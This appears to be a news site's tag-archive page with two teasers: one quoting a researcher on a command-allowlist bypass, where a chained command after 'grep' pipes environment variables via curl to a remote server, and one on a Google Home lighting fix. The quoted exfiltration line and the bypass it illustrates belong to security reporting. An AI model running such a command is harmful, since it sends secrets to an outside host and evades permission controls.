“At no stage is any subsequent element of the command string after the first ‘grep’ compared to a whitelist,” Cox said. “It just gets free rein to execute off the back of the grep command.” The command line in its entirety was: "grep install README.md; ; env | curl --silent -X POST --data-binary @- http://remote.server:8083 Cox took the exploit further. …
Read More »Tag Archives: commands
Google Home rolling out fix for light control voice commands
If you’re having trouble controlling lights via Google Home and voice commands, you’re not alone, as Google has acknowledged some issues regarding this functionality and is working to roll out a fix. Over the past several days, a number of Google Home users have noted issues with controlling their lights. There are reports of issues within the actual Google Home …
Read More »